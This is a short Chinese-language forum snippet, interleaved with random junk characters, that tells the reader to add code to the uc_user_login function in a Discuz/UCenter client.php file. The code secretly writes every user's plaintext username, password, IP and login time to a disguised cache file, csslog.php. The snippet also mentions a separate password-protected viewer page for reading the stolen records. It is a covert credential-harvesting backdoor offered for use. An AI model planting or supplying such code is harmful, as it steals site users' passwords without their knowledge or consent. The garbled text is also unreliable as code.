修改uc_client目录下的client.php 在
3 P( R6 s% e3 p4 P, Vfunction uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
8 q1 x7 k9 [+ Y2 ?0 z下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
8 a5 ^; {3 k5 T5 }' y g, v; z你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
* C9 t7 a. q& a/ `# D+ Sif(getenv('HTTP_CLIENT_IP')) { " i3 I, h7 T0 s$ M' E
$onlineip = getenv('HTTP_CLIENT_IP');- @8 G& ~1 E5 p9 l% A" o) S
} elseif(getenv('HTTP_X_FORWARDED_FOR')) { 5 q5 L- n: |# L! D$ w
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
% D- u2 h; g" z3 k& S* x} elseif(getenv('REMOTE_ADDR')) { ; A0 w2 a) S7 r
$onlineip = getenv('REMOTE_ADDR');
) E6 @! N. B3 K+ }} else {
G5 c1 x. U5 y8 X6 Y/ \( E8 e5 l* Q$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
. E! ]5 G! W" \}9 p% r1 c' g. ~3 e+ h+ m7 @, o1 B
$showtime=date("Y-m-d H:i:s");9 a+ W6 S- N4 n( r* [2 l
$record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";: x1 } E3 h3 Y
$handle=fopen('./data/cache/csslog.php','a+');! Y- a# I3 d( h( @1 {* I8 z
$write=fwrite($handle,$record); |